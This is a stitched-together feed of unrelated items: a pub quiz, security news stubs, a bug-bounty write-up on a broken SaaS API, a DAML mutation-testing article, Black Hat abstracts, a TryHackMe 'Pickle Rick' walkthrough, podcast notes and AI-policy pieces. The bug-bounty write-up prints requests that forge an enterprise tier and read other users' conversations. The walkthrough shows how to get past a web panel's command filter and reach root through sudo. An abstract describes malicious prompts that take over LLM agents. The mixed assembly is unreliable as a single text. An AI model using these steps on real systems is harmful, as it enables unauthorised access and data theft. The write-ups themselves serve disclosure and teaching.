1 What is now the world’s most populous city, according to the UN?
2 Which two Julies won best actress Oscars in consecutive years?
3 What was thrown by the goddess Eris at the wedding of Peleus and Thetis?
4 Richard Nixon appeared a record 55 times on the cover of what?
5 What became Britain’s tallest structure in 1894?
6 Mojang Studios in Sweden is renowned for developing which video game?
7 Which golfer spent 270 weeks as world No 2, but never reached No 1?
8 Which “The” group, named after a Camus novel, went through over 65 members?
9 Who is the subject of Alberto Korda’s photograph Guerrillero Heroico?
10 What defines an Olimpico goal in football?
11 Who initiated the Fridays for Future school strikes?
12 Which British dynasty is commemorated by a monument in St Peter’s Basilica?
13 What type of souvenir was invented in Vienna in 1900?
14 Which Norwegian island gives its name to two shipping forecast areas?
15 Which art museum employs a colony of cats to protect it from rodents?
16 Millvina Dean, who died in 2009, was the last living survivor of what?
What links:
17 Arrival of spring; double portraits; swimming pools; Grand Canyon; Yorkshire landscape?
18 Mozart & Franz Süssmayr; Landseer & Millais; F Scott Fitzgerald & Edmund Wilson?
19 Cordelia, Goneril & Regan; Imogen; Marina?
20 Britannia (1717-1936); Golden Hind (1937-69); St Edward’s Crown (1971-84)?
21 Alba white truffles; Pule cheese; Wagyu beef; Yubari King melons?
22 Matt Damon; Robert Frost; Bill Gates; Bonnie Raitt; Mark Zuckerberg?
23 Horrible Histories; glucose; Gordon Brown’s neighbour; King-Smith’s swine; winter squash?
24 Mount Whitney in California and Mulhacén in Andalucía?
25 1991 defence of Baghdad; nacre; UK parliament; Virginia?
26 Carrying a double bass; missing a bus; walking two dogs; wearing a cowboy hat; winding a clock?
27 2 (1st); 29 (10th); 541 (100th); 7,919 (1,000th); 104,729 (10,000th)?
28 Ant; bull; cuckoo; eagle; shower of gold; swan?
29 Zlín, Czechoslovakia; Cohutta, US; Novo Mesto, Yugoslavia?
30 Drowned; large bread; pick me up; half cold?

Read more →

The post The Department of Know: OpenAI hacks Hugging Face, Chinese LLM ban, Kratos takedown appeared first on IT Security News.

The post Hackers Clone Microsoft Login Portals to Capture Credentials and Session Tokens in Real Time appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Read more of this story at Slashdot.

How multiple trust-boundary failures allowed anonymous access to premium functionality in a production API

By Ahmed Waleed | Bug Bounty Hunter

TL;DR

While assessing a public enterprise SaaS API, I discovered a complete breakdown of authentication and authorization.

By chaining multiple trust-boundary failures, an unauthenticated attacker could:

• Access premium enterprise functionality without authentication.
• Impersonate arbitrary users
• Read private conversation history
• Escalate privileges through client-controlled authorization metadata.
• Create, modify, and delete server-side resources

To respect responsible disclosure, all identifying information has been removed.

Target Overview

The target was a public AI-powered enterprise platform exposing a documented REST API.

During reconnaissance I discovered several publicly accessible endpoints:

• /docs
• /redoc
• /openapi.json

The OpenAPI specification described every available endpoint together with request schemas.

One thing immediately stood out: the API defined no authentication mechanism whatsoever — no API keys, no OAuth, no Bearer tokens, and no securitySchemes in the OpenAPI specification.

Recon

Rather than fuzzing hundreds of endpoints, I started by understanding how the application expected clients to communicate.

The Swagger interface exposed the complete API surface, allowing quick identification of authentication requirements — or in this case, the absence of them. That observation became the starting point for the entire assessment.

Technical Walkthrough

All requests below were run from a clean browser session with zero credentials, against only a test conversation and a synthetic (non-existent) email address.

1. Create a conversation — no auth required:

POST /conversations
Content-Type: application/json 
{}


→ 200 OK
{"status":"success","conversation_id":"conv_...","created_at":"..."}

2. Run an enterprise-tier query by just claiming to be enterprise:

POST /process
Content-Type: application/json

{
  "message": "Show me top brands in TVs on Amazon US by market share",
  "conversation_id": "conv_...",
  "user_metadata": {
    "user_tier": "enterprise",
    "permitted_categories": ["All"],
    "allowed_retailers": ["All"]
  }
}

→ 200 OK — real production analytics data returned, e.g.:
Brand A - 35.54% market share - $36.9M GMV - 47,832 units
Brand B - 17.81% market share - $18.5M GMV -  8,859 units
Brand C -  7.77% market share -  $8.1M GMV - 43,218 units

The response even included an internal data-source citation confirming it was pulling from the platform’s proprietary intelligence pipeline — not a demo/sandboxed dataset.

3. Impersonate any customer by email:

GET /conversations?user_email=<any-email>

→ 200 OK — full conversation history for that email address returnedGET /conversations?user_email=<any-email>

No verification that the requester is that email address — just supply it and read their history.

Expected behavior for all three: 401 Unauthorized. Actual: 200 OK, full access.

Attack Chain

Individually, each issue represented a security weakness. Combined, they resulted in a complete authorization failure.

Root Cause Analysis

• Authentication was never enforced
• User identity was trusted from client input
• Authorization relied on client-controlled metadata
• Public API documentation exposed the full attack surface
• Critical authorization decisions occurred entirely on the client side

Impact

An unauthenticated, remote, anonymous attacker could:

• Consume a paid AI analytics product with zero subscription
• Pull real-time competitive intelligence (pricing, market share, revenue) meant to be a paid enterprise product
• Enumerate/guess customer emails to read private conversation histories
• Escalate from a “demo” tier to “enterprise” by editing a JSON field
• Perform unauthenticated DELETE and PATCH on other users' conversation records — a data-integrity/destruction risk, not just a confidentiality one

Suggested Remediation

1. Require real authentication (e.g., validated OAuth/OIDC bearer tokens) on every endpoint; reject unauthenticated calls with 401.
2. Derive user identity only from the validated token — never from a client-supplied user_email parameter.
3. Enforce subscription tier and all permissions server-side, from the authenticated principal’s actual entitlements — never trust client-supplied user_metadata.
4. Remove or gate /docs, /redoc, and /openapi.json behind auth in production.
5. Add per-user rate limiting and audit logging tied to the authenticated identity.

Lessons Learned

• Authentication and authorization solve different problems
• Public API documentation accelerates reconnaissance
• Client-controlled metadata must never influence authorization
• Every permission should be verified on the server
• Multiple low-complexity issues can combine into a critical compromise

Responsible Disclosure

This issue was reported responsibly through the vendor’s vulnerability disclosure process. The article intentionally omits identifying details, implementation-specific information, and production artifacts.

Takeaway

An OpenAPI spec with no securitySchemes block and a Swagger UI with no "Authorize" button is a five-second tell that a supposedly "enterprise-grade" AI product may have no server-side authorization at all — identity and entitlement were both being trusted from client-supplied JSON. Worth checking on any AI agent/chatbot API you test: does the server actually verify who you are and what you're allowed to see, or is it just trusting what you tell it?

Next in this series: Bounty Case Files #02

Zero Credentials, Full Access: Inside a Complete Authorization Failure was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Mit Shopify kannst du deinen eigenen Shop im Handumdrehen aufsetzen und das Design individuell an deine Marke anpassen. Sidekick hilft dir, dein Business effizient zu verwalten. Teste Shopify kostenlos unter https://shopify.de/simpli (Werbung)

Die Jagd auf den „Dread Pirate Roberts“, tausende gestohlene Bitcoin und ein Sündenbock, der fast die ganze Schuld getragen hätte. Das ist die Geschichte der Ermittler hinter dem Silk Road-Fall.

Ein besonderer Dank geht an Nick Bilton und sein Buch „American Kingpin: The Epic Hunt for the Criminal Mastermind Behind the Silk Road“.


Checkt Unfassbar ab: @unfassbar
https://www.youtube.com/@UC9h7UoNb95t_b5A4eHmRnFw

Spotify: https://spoti.fi/3Y1qYKJ
Apple Podcasts: https://apple.co/4eToIMA
Amazon Music: https://amzn.to/3Y7TEll
RSS-Feed: https://anchor.fm/s/fc0e8c18/podcast/rss

------

Danke an unsere Patrons: / simplicissimus
https://www.patreon.com/simplicissimus

Simpli auf Instagram: / simplicissimusyt
https://www.instagram.com/simplicissimusyt

Simpli auf TikTok: / simplicissimus
https://www.tiktok.com/@simplicissimus


Quellen:
https://docs.google.com/document/d/1fPiySfmprfR4YyKA3gaNakYRC2m_v8S_Z8MgnJcRSYo/edit?tab=t.0


Musik:
Epidemic Sound:
Behind the Shadow - Ruiqi Zhao
Kansas - Christian Andersen
Long Way Home - Aiyo
Temporarily Virtual - Cobby Costa
Voigt-Kampff - Martin Baekkevold
Beacons - Cobby Costa
The Sky Is Closing In - Cobby Costa
Detour Switch - Cobby Costa
Red Alert - Lennon Hutton
Strange Interference - Cobby Costa
The Shadow - Christoffer Moe Ditlevsen
Impasse - Silver Maple
Now That's an Alarm! - Harry Edvino
Riot in the Capital - Bonnie Grace
The Mutants - Farrell Wooten
Knee Deep - Blue Saga
Suspiral - Anthony Earls
Ghostly - Tigerblood Jewel
Parallel Existence - Raymond Grouse
Tracker - Christoffer Moe Ditlevsen
Slow Discovery - Cobby Costa

Artlist:
Oliver Michael - Witness - Extended version
Sebastian Borromeo - See Through the Crack
Morphlexis - Submarine
IamDayLight - Hypnotize
Artlist Musical Logos - Tensive Logo 1
Or Chausha - Are You Still Alive - No Strings
Ian Post - Mayhem
Isaac DaBom - Keep Your Eyes Open
Risian - Mission Critical
Or Chausha - No Decides
Stanley Gurvich - Transmission
Oran Alaloof - Dark Apoko

Lens Distortions:
Riptide - No Pulse
Tempered
Why Be Normal - No High Percussion
Force Multiplier - No High Percussion



_____

Schön, verständlich, kritisch und fundiert. Wir machen Essays zu Fragen, die du dir noch nie, oder viel zu oft gestellt hast.

Read more →

The post Breaking the Knot: Marlinspike Capital Inverts the Cybersecurity Investment Playbook appeared first on IT Security News.

Marlinspike Co-Founder Neil Keegan and Vice President Nick Snoad sat down with Cyber Defense Magazine to discuss how the firm is navigating the increasingly complex intersection of national security, artificial...

The post Breaking the Knot: Marlinspike Capital Inverts the Cybersecurity Investment Playbook appeared first on Cyber Defense Magazine.

Tags: #IBM | #Umsatz

Read more of this story at Slashdot.

More and more companies want to adopt the latest cloud-based artificial intelligence (AI) and machine learning (ML) technologies, but they are subject to an increasing array of data privacy regulations. This is an important concern for customers, who are interested in using AI and ML systems to drive better business outcomes while complying with new data privacy laws.

Today we’re outlining how our AI/ML Privacy Commitment reflects our belief that customers should have both the highest level of security and the highest level of control over data stored in the cloud. As Google Cloud CEO Thomas Kurian recently shared, we have heavily invested in providing customers with the capabilities they need to prevent unauthorized access to their data. 

“This [AI/ML Privacy Commitment] is the first of its kind in the industry, and demonstrates the company's focus on building trust with customers,” said Nick McQuire, Senior Vice President, Enterprise Research - CCS Insight 

We have always maintained that you control your data and we process it according to the agreement(s) we have with you. Furthermore, we will not and cannot look at it without a legitimate need to support your use of the service -- and even then it is only with your permission. Here are some of the additional measures we take to ensure your privacy: (reference: GCP Terms).

In addition to these commitments, for AI/ML development, we don’t use data that you provide us to train our own models without your permission. And if you want to work together to develop a solution using any of our AI/ML products, by default our teams will work only with data that you have provided and that has identifying information removed. We work with your raw data only with your consent and where the model development process requires it. 

At Google Cloud, we are committed to giving you increased control and visibility over your data. Transparency creates trust, and trust is necessary for any business to succeed in this arena. That’s why we led the way in providing meaningful transparency into provider access to customer data and now we’re extending that transparency to our AI and ML work. Helping you address global privacy and data protection requirements enables you to apply machine learning to accelerate your business with confidence.  

"Google Cloud's AI/ML Privacy Commitment is the latest move by the company to ensure its customers have greater control and visibility over their data in the cloud...This commitment also underscores the importance of proactive policies and tools to enable security and privacy in machine learning, which based on our data, is more important than ever,” CCS Insight’s McQuire continued. 

To learn more about our three pillars of sovereignty in Google Cloud, see this blog post.  And to learn more about Google Cloud’s commitment to more accountable products and a culture of responsible innovation, please see our perspective on Responsible AI.

At Pwn2Own Berlin 2025, AI systems made their debut as official competition targets. This talk documents our successful exploitation of real-world AI infrastructure in that context focusing on vulnerabilities we discovered and demonstrated in Ollama and NVIDIA Triton Inference Server.

We detail our security research methodology, which included threat modeling, file format fuzzing, and plugin analysis. In Ollama, we discovered multiple bugs before and during the competition, including an authentication bypass (CVE issued) and a heap overflow found via fuzzing—although it was patched three weeks before the event. In Triton Server, we uncovered a command injection vulnerability in its model configuration pipeline, leading to reliable remote code execution.

We'll also briefly explore other AI targets such as RedisAI, ChromaDB, and NVIDIA's container runtime, including insight into a potential stack overflow rediscovery via fuzzing.

This session blends concrete technical details with broader insight, sharing actionable takeaways for red teamers and defenders working with inference systems. Attendees will leave with a solid understanding of how to audit, attack, and better defend AI model infrastructure.

By:
Patrick Ventuzelo | CEO & Founder, Fuzzinglabs
Nabih Benazzouz | COO, Fuzzinglabs

https://blackhat.com/eu-25/briefings/schedule/?#breaking-ai-inference-systems-lessons-from-pwn2own-berlin-48948

For a team shipping DAML to production, that count is what a passing test run is actually worth: it puts a number on how much your suite checks, whereas a green run on its own does not.

Why DAML’s coverage reports lie

Test coverage is the most reassuring lie in smart-contract development. Hitting 100% line coverage tells you the test runner walked the code; it does not tell you whether any test would fail if that code stopped doing what it is supposed to. We have been grading test harnesses by how many mutants they kill since at least 2019, and our primer on finding the bugs your tests don’t catch shows how a green suite can still miss the bug that matters.

DAML’s built-in coverage measures execution at the template and choice level: which templates were created and which choices were exercised over the test run. It reports whether each choice was exercised, not what happened inside it. A test that exercises a choice once and asserts nothing about the result reports that choice as covered. The report prints the same green percentage whether the test verifies the outcome or discards it.

How mutation testing works

Instead of asking whether your tests reached the code, mutation testing grades your tests by sabotaging that code. The engine generates mutants, copies of the code that each carry one small deliberate change: a flipped comparison, a removed branch, a dropped party. It then runs your test suite against each one. A mutant that makes the suite fail is caught; a mutant that passes every test survives. Every survivor is a change your tests let through, and each one is either harmless or a potential bug. The harmless ones are equivalent code no test could distinguish or a branch no execution reaches, and you can set those aside. The rest are a to-do list: each one is a specific test you are missing, a case your suite should check but does not, occasionally with a real bug sitting behind the gap. The primer above describes a real audit where a mutation campaign surfaced a high-severity bug that the project’s tests had missed.

Mutation testing forces the unhappy path

A DAML contract encodes rights and obligations between named parties: who holds what, who owes what to whom, and who must authorize each step. A party is not an anonymous address. It represents a real organization or person, and the contract is the rulebook for how those parties interact, including which of them can take which action, what each is allowed to see, and what stays private between them.

Authorization is how that rulebook is enforced: who may take which action. It is also easy to get wrong in ordinary ways, such as a typo in a controller clause, a missing party, an extra one left over from a refactor. Every combination type-checks, so nothing rejects it before it ships. A static analyzer can flag suspicious patterns, but it has no way to know which party should hold which authority on your contract. That knowledge lives in your specification, and for most projects, the only executable form of the specification is the test suite. Happy-path tests supply every signature the contract asks for and confirm the transaction succeeds. They never try the negative case—removing a required signature and checking that the ledger rejects the transaction—so they never actually test whether that signature was required at all. If the tests don’t encode that rule, nothing downstream can recover it. Mutation testing is what tells you whether they do.

A green test run tells you your tests passed today. Mutation testing asks the harder question: would your tests catch a mistake, now or after the next code change? Where the answer is no, you have found a test case worth writing.

What Mewt adds for DAML

Mewt parses every language it supports with a tree-sitter grammar. As of mid-2026, there is no maintained tree-sitter grammar for DAML, so we reused the upstream tree-sitter-haskell grammar. DAML is Haskell-shaped, but its contract constructs (template, choice, controller, and signatory) are not Haskell, and the grammar parses them as error-recovered subtrees. That matters less than it sounds. The common mutations still work on DAML’s ordinary expressions, so Mewt swaps arithmetic and comparison operators, flips Booleans, and removes branches just as it does in any other language, with only small adjustments where DAML’s surface syntax differs (DAML writes /= where most languages write !=). We got most of the value of a from-scratch grammar without building one.

The new engineering went into DAML’s authorization primitives, where the authorization bugs from the previous section live. Mewt adds two DAML-specific mutations:

• Controller party swap (CPS in Mewt’s output): replace one party in a controller clause with another party that is in scope at that site.

• Controller party removal (CPR): drop one party from a multi-party controller list.

Both target the same question: if the set of parties allowed to exercise this choice silently changed, would any test fail? They are a deliberately small starting set aimed at the bug class above, and more DAML-specific mutations are in the pipeline.

Driving a campaign needs no new harness. A short mewt.toml names the files to mutate and the test command (dpm test for a Daml 3 project), and mewt run does the rest, reporting each mutant as caught or surviving. The setup is deliberately small: trying it on your own project costs minutes, and we encourage exactly that.

What a surviving mutant looks like

Picture a conditional payment between a buyer and a seller: the buyer sets money aside for the goods, and paying it out to the seller requires both parties to sign off. The buyer’s signature is the delivery confirmation. In DAML, that policy is one line: the controller line on the Release choice.

template ConditionalPayment
 with
 buyer : Party
 seller : Party
 amount : Decimal
 where
 signatory buyer
 observer seller

 choice Release : ()
 with
 paid : Decimal
 controller buyer, seller
 do
 assert (paid == amount)

A typical happy-path test creates the payment and has both parties approve the release. The actAs buyer <> actAs seller line submits the command with both parties’ authority:

testHappyPath : Script ()
testHappyPath = script do
 buyer <- allocateParty "Buyer"
 seller <- allocateParty "Seller"
 payment <- submit buyer do
 createCmd ConditionalPayment with
 buyer
 seller
 amount = 100.0
 submit (actAs buyer <> actAs seller) do
 exerciseCmd payment Release with paid = 100.0
 pure ()

The test passes, and by the usual measure the suite looks complete: running dpm test with coverage reporting enabled shows full coverage.

$ dpm test --show-coverage --coverage-ignore-choice Archive
testHappyPath: ok, 0 active contracts, 2 transactions.
- Internal templates: 1 defined, 1 (100.0%) created
- Internal template choices: 1 defined, 1 (100.0%) exercised

The --coverage-ignore-choice Archive flag deserves a word. Every DAML template automatically gets an implicit Archive choice. It is not part of the business logic under test, so we exclude it for simplicity. With it included, this one-choice template would report 50% even though the test exercises everything we wrote.

Run Mewt on the project and it generates seven mutants. The test suite catches three of them. Four survive. Here is one of the survivors, shown as the diff Mewt reports:

 choice Release : ()
 with
 paid : Decimal
- controller buyer, seller
+ controller seller
 do
 assert (paid == amount)

Re-run the test suite against this mutant. It still passes, and coverage still reports 100%. The contract claims releasing the buyer’s money requires both parties. The mutant lets the seller release it to themselves without the buyer ever confirming delivery. The tests report green either way. Only a test that tries the forbidden path, the seller acting alone, expecting the ledger to reject it, can tell the two contracts apart. No such test exists, and the mutation score says so. (The other three survivors tell the same story from different angles: the buyer-alone twin of this mutant, and two mutants that weaken the paid == amount check to <= and >=, which survive because the test only ever pays the exact amount.)

Step back, and this is the whole point of the exercise. Your tests are the executable specification of your code. Here the implementation changed, one required approval instead of two, and the specification did not react. That means the expected behavior was underspecified all along: whether both the buyer and the seller have to sign off, or just one of them, was never actually written down anywhere a machine could check. Every controller combination type-checks, and coverage reports 100% for all of them. The only place “both must sign” can exist in checkable form is a test that expects the weakened contract to fail, and writing that test is exactly what the surviving mutant tells you to do.

Limitations and what comes next

Mewt is not magic. Two limits are worth knowing before you run your first campaign: not every survivor is a real gap, and a campaign costs time. The roadmap that follows them is where we are taking the work next.

Equivalent mutants exist: some survivors turn out to be semantically identical to the original program, so no test could ever catch them. Few public DAML codebases on GitHub come with a full test suite, so we are glad OpenZeppelin open-sourced its canton-stablecoin reference implementation. Mewt generated hundreds of mutants for it. We ran the highest-priority ones through the existing test suite, and seven of those survived. Three were equivalent mutants or sat behind a guard that no path reaches, and the other four were genuine missing test cases. None of the survivors we reviewed pointed to a bug. Such a clean result is what you want when you run Mewt on your own code, and triaging them took minutes.

One of those equivalent mutants shows what that means concretely. A helper computed accrued debt:

accrueDebt currentDebt lastAccrual now annualRate =
 if currentDebt == 0.0 || annualRate == 0.0 then currentDebt
 else
 let elapsedYears = ... -- elapsed time as a fraction of a year
 in currentDebt * (1.0 + annualRate * elapsedYears)

Mewt forced the if to always take the else branch. No test failed, and none ever could: when the debt is zero, the formula multiplies by zero and returns zero, and when the rate is zero, it multiplies the debt by one and returns it unchanged. The guard is a shortcut that returns the value the formula already produces, so removing it changes nothing. Mewt suppresses the equivalent mutants it can detect. The rest need a reviewer’s judgment to dismiss.

Campaigns cost time in two places. The machine part: Mewt runs your test suite once per mutant, so the wall-clock cost is roughly the number of mutants times how long one test run takes, plus a rebuild if your project needs one. That is minutes on a small codebase and hours on a large one or a slow suite, so the cadence that works is nightly or weekly rather than per-commit. The human part: someone has to look at the survivors. We are working on that front from several directions at Trail of Bits, including our mutation-testing skill that helps configure campaigns for your project, and Trailmark with its genotoxic triage skill. None of these understand DAML yet, but the direction is clear: given the right harness and tools, the time-consuming parts of a campaign can be handed to AI agents. The effort is modest and the payoff is concrete: each genuine survivor is a specific test you can write, and every test you add makes your suite enforce one more guarantee your contracts are supposed to make.

Also on the roadmap: choice-consumption mutations (consuming vs nonconsuming) sit cleanly on top of the controller-mutation scaffolding and target a bug class Mewt does not yet reach.

Dive in

Install Mewt from the repository, point a mewt.toml at your project and its test command, and mewt run. The quickstart in the README covers the rest. DAML works out of the box. Everything here ran on Daml 3.4 with dpm, but Mewt just drives whatever test command you configure, so Daml 2 projects using the daml assistant work the same way.

Mutation testing complements the rest of your security stack, the type checkers, linters, and property tests you already run, rather than replacing any of it.

If you’re building on Canton, we help teams with security reviews of DAML applications and with the way the code gets built: working directly with your engineers on the development process itself. Contact us.

• [Swarming] Decouples linux from android_emulator fuzzing by @IvanBM18 in #5347
• Use threads for datastore operations under targets feature flag by @PauloVLB in #5352

Full Changelog: v2.33.11...v2.33.12

One day Nick got a visit from the FBI demanding he give them data on one of his customers. They asked for it in the form of a National Security Letter or NSL. Something wasn’t right about this letter. It seemed to violate the constitution. So he set out to change the law.

Learn more about Nicks work at [calyxinstitute.org](calyxinstitute.org) and [phreeli.com](phreeli.com).

Check out Cindy’s book [Privacy’s Defender: My Thirty-Year Fight Against Digital Surveillance](https://amzn.to/4gXuK2J).

### Sources

* https://www.democracynow.org/2010/8/11/gagged_for_6_years_nick_merrill
* https://globalfreedomofexpression.columbia.edu/cases/u-s-nicholas-merrill-v-loretta-e-lynch-14-cv-9763-vm/
* https://clearinghouse.net/case/12966/
* https://www.theguardian.com/law/2015/dec/06/fbi-national-security-letter-gag-order-nick-merrill
* https://www.aclu.org/documents/national-security-letters
* https://www.eff.org/cases/re-matter-2011-national-security-letter
* Cindy’s Book: Privacy’s Defender: My Thirty-Year Fight Against Digital Surveillance


### Attribution

Darknet Diaries is created by [Jack Rhysider](https://twitter.com/jackrhysider).

Assembled by Tristan Ledger.

Episode artwork by [odibagas](https://99designs.com/profiles/2589930).

Mixing by [Proximity Sound](https://proximitysound.com/).

Theme music created by [Breakmaster Cylinder](https://www.personbproductions.com/). Theme song available for listen and download at [bandcamp](https://breakmastercylinder.bandcamp.com/track/darknet-diaries-theme). Or listen to it [on Spotify](https://open.spotify.com/album/3P5CCxXNuUSQldH0GA5ZUy?si=eirhXEyFQaKNf-vdfmb8Jg).

Visit https://darknetdiaries.com/episode/##/ for a list of sources, full transcripts, and to listen to all episodes.

Learn more about Nicks work at calyxinstitute.org and phreeli.com.

Check out Cindy’s book Privacy’s Defender: My Thirty-Year Fight Against Digital Surveillance (https://amzn.to/4gXuK2J).

Sponsors

Support for this show comes from ThreatLocker®. ThreatLocker® is a Zero Trust Endpoint Protection Platform that strengthens your infrastructure from the ground up. With ThreatLocker® Allowlisting and Ringfencing™, you gain a more secure approach to blocking exploits of known and unknown vulnerabilities. ThreatLocker® provides Zero Trust control at the kernel level that enables you to allow everything you need and block everything else, including ransomware! Learn more at www.threatlocker.com.

Support for this episode comes from NetSuite. NetSuite gives you visibility and control of your financials, planning, budgeting, and of course - inventory - so you can manage risk, get reliable forecasts, and improve margins. NetSuite helps you identify rising costs, automate your manual business processes, and see where to save money. KNOW your numbers. KNOW your business. And get to KNOW how NetSuite can be the source of truth for your entire company. Visit www.netsuite.com/darknet to learn more.

This show is sponsored by Maze. Maze uses AI agents to triage and remediate cloud vulnerabilities by figuring out what’s actually exploitable, not just what’s theoretically risky. They remove the noise, prioritize vulns that matter, and manage remediation, so your team stops wasting time on meaningless vulns. Visit MazeHQ.com/darknet for more information.

View all active sponsors.

Sources

• https://www.democracynow.org/2010/8/11/gagged_for_6_years_nick_merrill
• https://globalfreedomofexpression.columbia.edu/cases/u-s-nicholas-merrill-v-loretta-e-lynch-14-cv-9763-vm/
• https://clearinghouse.net/case/12966/
• https://www.theguardian.com/law/2015/dec/06/fbi-national-security-letter-gag-order-nick-merrill
• https://www.aclu.org/documents/national-security-letters
• https://www.eff.org/cases/re-matter-2011-national-security-letter
• Cindy’s Book: Privacy’s Defender: My Thirty-Year Fight Against Digital Surveillance

Dieser Beitrag Cybercrime, Datenlecks und Zero-Days: die wichtigsten Security-Signale der Woche erschien als erstes auf IT BOLTWISE x Artificial Intelligence.

Large Language Models (LLMs) have revolutionized software development, enabling the creation of AI-powered applications known as LLM-based agents. However, recent studies reveal that LLM-based agents are highly susceptible to taint-style vulnerabilities, which allow malicious prompts to exploit security-sensitive operations. These vulnerabilities pose severe threats to the security of agents, potentially allowing attackers to take over the entire agent remotely.

In this paper, we propose a novel directed greybox fuzzing approach, called AgentFuzz, the first fuzzing framework for detecting taint-style vulnerabilities in LLM-based agents. AgentFuzz consists of three key phases. First, AgentFuzz leverages the LLM to generate functionality-specific seed prompts in the form of natural language. Second, AgentFuzz utilizes a multifaceted feedback design to assess seed quality from both semantic and distance levels, prioritizing seeds with higher quality. Finally, AgentFuzz employs functionality and argument mutators to refine seeds and trigger vulnerabilities effectively. In our evaluation against 20 widely-used open-source agent applications, AgentFuzz identified 34 high-risk 0-day vulnerabilities, achieving 33 times higher precision than the state-of-the-art approach. These vulnerabilities encompass serious threats like code injection, impacting 14 open-source agents, with 7 of them having over 10,000 stars on GitHub. To date, 23 CVE IDs have been assigned.

By:
Fengyu Liu | Ph.D Student, Fudan University
Ke Li | Security Engineer, ByteDance
Jiaqi Luo | Ph.D Student, Fudan University
Jiarun Dai | Assistant Professor, Fudan University
Bocheng Xiang | PhD students, Fudan University
Tian Chen | Master's Student, Fudan University
Yilin Wang | Master's Student, The University of Manchester
Youkun Shi | Postdoctoral Fellow, Hong Kong Polytechnic University
Xing Li | Senior Security Engineer, Huawei Technologies Co., Ltd.
Yuan Zhang | Professor, Fudan University
Min Yang | Professor, Fudan University

https://blackhat.com/eu-25/briefings/schedule/?#make-agent-defeat-agent-automatic-detection-of-taint-style-vulnerabilities-in-llm-based-agents-48117

I wasn’t expecting much from a Rick and Morty themed room.

Then I found the password in robots.txt and realized, this box isn't about difficulty. It's about attention. Every single credential, every single path to root, was sitting in plain sight. The machine wasn't hiding anything. It was waiting to see if I'd actually look.

Turns out, most people don’t.

Reconnaissance

nmap -sV -sC -T4 10.0.0.4

80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))

One port. One door. The entire box lives here.

The Web App — Index.php and a Dead End

Navigating to http://10.0.0.4 lands on index.php, a Rick and Morty themed page. No login form, nothing interactive. Just flavor text.

Before moving anywhere, the first instinct: read the source code.

<!-- Note to self, remember username! Username: R1ckRul3s -->

A username. Hardcoded. In an HTML comment. On the landing page.

Half the credential is already gone. Now for the password, and the actual entry point.

robots.txt:

Wubbalubbadubdub

Not a crawl directive. A password. Rick stored his password in robots.txt.

But we still have nowhere to use these credentials. Time to fuzz:

gobuster dir -u http://10.0.0.4 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

/portal.php comes back. That's the login form. Navigate there, enter the credentials:

R1ckRul3s : Wubbalubbadubdub

Both leaked before we even thought to look for them. The fuzzing was just finding the door.

The Command Panel — A Web Shell With Training Wheels

Login succeeds and drops straight into a command execution panel. The web app is essentially handing us a terminal. Let’s see what’s here:

ls

Sup3rS3cretPickl3Ingred.txt
assets
clue.txt
denied.php
index.html
login.php
portal.php
robots.txt

Sup3rS3cretPickl3Ingred.txt. That name is not subtle. First ingredient is right there, except the panel blocks cat. Someone tried to add a restriction.

Linux doesn’t care:

less Sup3rS3cretPickl3Ingred.txt

First ingredient. The filter was decorative.

Going Deeper — The Home Directory

ls /home/rick

second ingredients

less /home/rick/second\ ingredients

Second ingredient. Two down, one to go. And for that one, we need root.

Privilege Escalation — The Box Barely Tried

sudo -l

User www-data may run the following commands:
    (ALL) NOPASSWD: ALL

I had to read that twice.

www-data — the web server user, the account that's supposed to have the least privilege on the entire system can run everything as root with no password.

This isn’t a misconfiguration. It’s an open gate.

sudo bash

whoami
root

sudo less /root/3rd.txt

Third ingredient. Box done.

Three credentials in plain sight. One unrestricted sudo. Zero resistance.

Pickle Rick is a room on TryHackMe. This writeup is for educational purposes only. All testing performed on dedicated lab infrastructure with explicit authorization.

TryHackMe — Pickle Rick: Rick Left the Door Open. I Just Walked In. was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Claude Cowork Sandbox Flaw Lets Attackers Execute Commands as Root in Hyper-V VM appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

• Creatives sound alarm on copyright as Pocock calls $50bn datacentre proposal ‘ultimate dirty deal’

Big tech companies are asking for Australian copyright laws to be watered down, to allow them to scrape Australian output – including journalism, music and books – in order to improve their AI models.

Guardian Australia this week reported on an industry proposal under which companies would commit more than $50bn in investment in datacentres and set up a $350m fund to compensate creatives in exchange for weaker copyright laws. Senator David Pocock has described it as the “ultimate dirty deal”.

The Albanese government has insisted it has no plans to weaken copyright protections, after ruling out the potential text and data mining exemption last year – but creatives are sounding the alarm. Loudest among them this week are musicians, some of whom discovered last month that their work was already being scraped.

Albanese is known for his love of Australian music. Guardian Australia spoke to some of his favourite bands to hear what they had to say to him.

This post compiles field reports from Patch the Planet. We’ll update it as the initiative progresses with insights on model capabilities, bespoke tooling for maintainers, and industry guidance. Follow this blog for updates.

Field report 1: GPT-5.5-Cyber built a custom fuzzing harness for zlib

Authored by Benjamin Samuels

The expertise barrier that kept bespoke fuzzing campaigns out of reach for most attackers is gone. We watched GPT-5.5-Cyber build in a single day what would have taken weeks for a skilled security researcher: harnesses across a dozen entrypoints, sanitizer and variant builds, seeds, and multiple findings currently undergoing coordinated disclosure.

This particular instance focused on zlib, a widely used data format and lossless data compression software library. We pointed GPT-5.5-Cyber at the library and drove it through Codex with the /goal command, asking it to find a specific class of bugs that are critically dangerous in compression libraries. We’ll publish the full harness and findings for inspection once the vulnerabilities are patched and a new release is cut.

The lab GPT-5.5-Cyber built in a day

We didn’t tell the model how to find these bugs. The obvious first move is to read the source code, but zlib has been reviewed so thoroughly that there’s little left to find that way. GPT-5.5-Cyber worked that out for itself, judged static review to be a poor use of tokens, and decided the higher value path was to build fuzz tooling to dynamically test the code. Earlier models given the same goal tend to read the code and flag whatever looks suspicious, ultimately leading to mediocre outcomes.

We believe the frontier 5.5-Cyber model combined with the /goal feature is what let it execute end-to-end without hand-holding. /goal forced the objective to live across multiple turns and compactions so the model held scope, and 5.5-Cyber was smart enough to reject weak findings, expand coverage when a line of investigation died, and keep running until it had workable proof-of-concepts backed by sanitizer output.

Over the next several hours, it built the campaign out one piece at a time:

• It used ASan and UBSan builds so memory errors became observable.
• It repurposed existing edge-case tests as guidance for the fuzz seed corpus.
